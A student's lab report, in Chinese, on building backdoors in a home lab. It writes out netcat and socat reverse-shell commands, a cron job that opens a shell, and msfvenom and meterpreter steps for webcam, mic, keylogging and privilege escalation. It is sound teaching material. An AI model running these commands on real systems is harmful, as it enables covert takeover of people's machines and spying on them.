1.实验内容
1.1 本周学习内容
-
更加深入地学习了缓冲区溢出的相关知识。
-
学习了关于ncat,socat等工具的原理,并尝试使用。
-
初步学习了关于后门的基础知识。
1.2 实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.3 回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
-
进入一些非正规网站下载软件资源。
-
或者点击不安全链接,比如会有攻击者发带有恶意链接的邮件。
-
插入来历不明的U盘。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
-
Windows:可以通过在“注册表”中设置开机自启动,将恶意程序名更名诱导用户点击执行。
-
Linux:修改crontab设置任务定时启动。
(3)Meterpreter有哪些给你印象深刻的功能?
-
方便、快捷地生成后门程序。
-
截屏:可以查看已保存的截屏。
-
提权:可以提升至管理员权限。
-
多平台支持:Meterpreter支持多种操作系统,包括Windows、Linux和Mac OS X等。
-
会话持久性:Meterpreter可以创建持久会话,即使目标机器重启或断开连接,也可以保持会话的活跃状态。
(4)如何发现自己有系统有没有被安装后门?
-
定期进行端口扫描。使用端口扫描工具,扫描系统开放的端口,寻找不寻常的或未知的端口。
-
安装杀毒软件进行实时防护,定期全面扫描检测电脑安全情况。
-
查看“任务计划程序”和“注册表”中是否有可疑任务。
2.实验过程
2.1 使用netcat获取主机操作Shell,cron启动某项任务
Cron是Linux下的定时任务,根据配置文件执行预设的指令。
Linux是由Cron这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。
另外,由于使用者自己也可以设置计划任务,所以,Linux系统也提供了使用者控制计划任务的命令:crontab命令。
本实验我们在kali中使用crontab设置定时任务。
先使用ipconfig和ip addr查找主机和虚拟机的IP地址。
主机IP:172.16.178.47;虚拟机IP:192.168.125.130。
2.1.1 Win获得Linux Shell
在win11的cmd中输入如下指令,开启监听。
ncat.exe -l -p 8888 #开启监听 |
---|
2.1.2 Linux获得Win Shell
在kali虚拟机上输入如下指令,开启监听。
nc -l -p 8888 #开启监听 |
---|
Windows反弹连接Linux
ncat.exe -e cmd.exe ip_of_linux 8888 |
---|
2.1.3 设置crontab定时启动任务
crontab -e
#打开文字编辑表,这里选择的是/usr/bin/vim.basic
27 * * * * /bin/netcat 172.16.178.47 2427 -e /bin/sh
crontab -l
#查看时程表
实验效果:
注意:win监听必须在所设置的时间到达之前就启动,如设定任务在27分时启动,则最晚应在26分时就开始监听
2.2 使用socat获取主机操作Shell, 任务计划启动
在win11中,打开“计算机管理”->“任务计划程序”。选择创建任务,根据需要创建程序。
这里我创建了一个名为20222427xwt,会在2024-10-16的15:08启动的任务。在“程序或脚本”选中socat.exe,并添加以下参数:
tcp-listen:2427 exec:cmd.exe,pty,stderr |
---|
在设定的任务执行之前,打开kali并连接远程端口。
socat - tcp:172.30.4.253:2415 #连接远程端口
当任务状态由“准备就绪”变为“正在运行”后,会弹出一个socat.exe的窗口。此时可发现已成功获得一个cmd shell:
2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先,在kali中使用MSF生成后门程序。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f exe > 20192415xzb_backdoor.exe #简单版 |
---|
在win11中打开“病毒与威胁防护”→“设置”,关闭“实时保护”,将后门程序传送给win11:
接收方win11:ncat.exe -l 2427 > 20222427xwt_backdoor.exe
#指定端口2427
发送方kali:nc 192.168.125.130 2427 < 20222427xwt_backdoor.exe
接下来在kali终端中进入MSF控制台进行配置:
msfconsole #进入控制台 |
---|
use exploit/multi/handler #使用监听模块,设置payload |
set payload windows/meterpreter/reverse_tcp #告诉后门要监听的是哪种,使用和生成后门程序时相同的payload |
set LHOST 192.168.125.130 #控制方Kali的IP,需要和之前生成的后门exe时设置的IP相同 |
set LPORT 2415 #设置端口 |
show options #展示配置 |
exploit #开启监听 |
接下来在win11中运行exe程序,kali可获取win11主机Shell:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在2.3中,我们已经通过MSF生成的可执行文件获取到win10的Shell,这里我们出入指令获取目标主机相关信息。
record_mic -d 10 #截获音频,-d设置录制时间 |
---|
screenshot #截屏 |
webcam_snap #使用摄像头拍照 |
keyscan_start #开始记录击键过程 |
keyscan_dump #读取击键记录 |
keyscan_stop #停止记录击键记录 |
实验效果如图:
除此之外除此之外,我们还可以尝试提高权限:
getuid
#获取用户识别码
getsystem
#获取system权限
可以看到,此时提权并没有成功,这是因为当前用户实际是在管理组administrators组。
我们要如果想提权成功,首先要绕过windows的UAC限制。——在win11上使用管理员权限运行后门exe,可以成功提权。
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
MSF生成ELF直接注入pwn1
在kali中使用如下命令将后门注入到pwn1中生成pwn20222427xwt:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -x /root/pwn1 -f elf > pwn20222427xwt
#payload功能是获取反弹连接shell,所以选择reverse_tcp;要注入到pwn文件中,所以输出格式选择了elf
接着进入MSF控制台,更改payload设置,之后进行监听:
set payload linux/x86/meterpreter/reverse_tcp #告诉后门要监听的是哪种
打开注入终端,运行pwn20222427xwt后监听将获取Shell权限:
3.问题及解决方案
- 问题1:运行后门的时候,系统提示文件被其他程序运行(如图)。
- 问题1解决方案:通过打开Windows的“资源管理器”发现终端cmd正在使用,只要将该终端退出即可(如图)。
- 问题2:在进行记录击键记录的时候,系统提示“stdapi_ui_get_keys_utf8: Operation failed: Incorrect function”,无法正常获取记录(如图)。
-
问题2解决方案:通过在网上查找资料 ,发现
keyscan_dump
和keyscan_stop
这两条指令有一定的顺序要求,如果想要获取击键记录,需要将keyscan_dump
先于keyscan_stop
输入。 -
问题3: 最后运行生成有后门的文件时,系统提示权限不够,不能正常运行(如图)。
- 问题3解决方案:通过参考往届学长们的实验报告,发现普遍都存在该问题,但是只需要输入
chmod a+x 你的文件名
,改变该文件的权限就可以解决该问题。
4.学习感悟、思考等
本次实验的任务量明显比任务一的难度大,所以做起来也不是很顺利,而且面对这种比较开放的题目,下意识地会借鉴往届学长们的实验报告,看看他们是怎么做的,具体要做什么试验任务,但看到几乎每个人都有不同的想法,只好一边看实验视频,一边自己摸索。
在该实验中,初次使用到了netcat、socat以及msf等工具,知道了它们的一些基础用法并且可以正确地应用这也是我在本次实验之中收获最大的地方。其次,对于如何制作一个简单的后门有了一定地认知,以前只认为做一个后门需要自己编写相应的代码,在本次实验中却发现,单单一个msf也可以实现相应的目标——控制设备、窃听信息。